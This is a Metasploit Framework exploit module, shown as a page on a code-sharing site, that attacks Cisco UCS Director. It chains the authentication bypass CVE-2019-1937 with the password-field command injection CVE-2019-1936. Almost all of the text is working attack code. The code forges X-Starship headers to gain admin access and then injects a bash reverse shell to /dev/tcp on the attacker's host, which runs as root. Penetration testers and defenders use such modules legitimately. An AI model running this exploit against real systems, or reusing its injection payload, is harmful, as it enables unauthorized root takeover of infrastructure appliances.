Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/cisco_ucs_rce.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution',
16
'Description' => %q{
17
The Cisco UCS Director virtual appliance contains two flaws that can be combined
18
and abused by an attacker to achieve remote code execution as root.
19
The first one, CVE-2019-1937, is an authentication bypass, that allows the
20
attacker to authenticate as an administrator.
21
The second one, CVE-2019-1936, is a command injection in a password change form,
22
that allows the attacker to inject commands that will execute as root.
23
This module combines both vulnerabilities to achieve the unauthenticated command
24
injection as root.
25
It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
26
Note that Cisco also mentions in their advisory that their IMC Supervisor and
27
UCS Director Express are also affected by these vulnerabilities, but this module
28
was not tested with those products.
29
},
30
'Author' => [
31
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
32
],
33
'License' => MSF_LICENSE,
34
'References' => [
35
[ 'CVE', '2019-1937' ], # auth bypass
36
[ 'CVE', '2019-1936' ], # command injection
37
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ],
38
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ],
39
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
40
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-rce.txt' ]
41
],
42
'Platform' => 'unix',
43
'Arch' => ARCH_CMD,
44
'DefaultOptions' => {
45
'payload' => 'cmd/unix/reverse_bash',
46
},
47
'Targets' => [
48
[ 'Cisco UCS Director < 6.7.2.0', {} ],
49
],
50
'Privileged' => true,
51
'DefaultTarget' => 0,
52
'DisclosureDate' => '2019-08-21',
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
61
register_options(
62
[
63
Opt::RPORT(443),
64
OptBool.new('SSL', [true, 'Connect with TLS', true]),
65
OptString.new('TARGETURI', [true, "Default server path", '/']),
66
]
67
)
68
end
69
70
def check
71
# can't think of anything better then this
72
res = send_request_cgi({
73
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
74
'method' => 'GET'
75
})
76
if res and res.code == 302
77
return Exploit::CheckCode::Detected
78
end
79
80
return Exploit::CheckCode::Unknown
81
end
82
83
def exploit
84
# step 1: get a JSESSIONID cookie
85
res = send_request_cgi(
86
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
87
'method' => 'GET'
88
)
89
90
if res and (res.code == 200 or res.code == 302)
91
jsession = res.get_cookies.split(';')[0]
92
93
# step 2: authenticate our cookie as admin
94
res = send_request_cgi({
95
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
96
'cookie' => jsession,
97
'vars_get' =>
98
{
99
'apiName' => 'GetUserInfo'
100
},
101
'headers' =>
102
{
103
# X-Requested-With and Referer headers are needed, else the server ignores us
104
# The X-Starship headers are the key to this auth bypass vuln, see the References
105
'X-Requested-With' => 'XMLHttpRequest',
106
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
107
'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}",
108
'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}"
109
},
110
'method' => 'GET'
111
})
112
113
if res and res.code == 200 and res.body.include?("admin")
114
if not res.get_cookies.empty?
115
# if the server returns a new cookie, use that
116
jsession = res.get_cookies.split(';')[0]
117
end
118
print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!")
119
120
# step 3: request our reverse shell
121
payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}}
122
123
res = send_request_cgi({
124
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
125
'cookie' => jsession,
126
'headers' =>
127
{
128
# X-Requested-With and Referer headers are needed, else the server ignores us
129
# The X-Starship headers are the key to this auth bypass vuln, see the References
130
'X-Requested-With' => 'XMLHttpRequest',
131
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
132
},
133
'method' => 'POST',
134
'vars_post' =>
135
{
136
'formatType' => 'json',
137
'apiName' => 'ExecuteGenericOp',
138
'serviceName' => 'InfraMgr',
139
'opName' => 'doFormSubmit',
140
'opData' => payload
141
}
142
})
143
if res and res.code == 200
144
print_good("#{peer} - Shelly is here, press ENTER to start playing with her!")
145
end
146
else
147
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
148
end
149
else
150
fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie")
151
end
152
end
153
end
154
155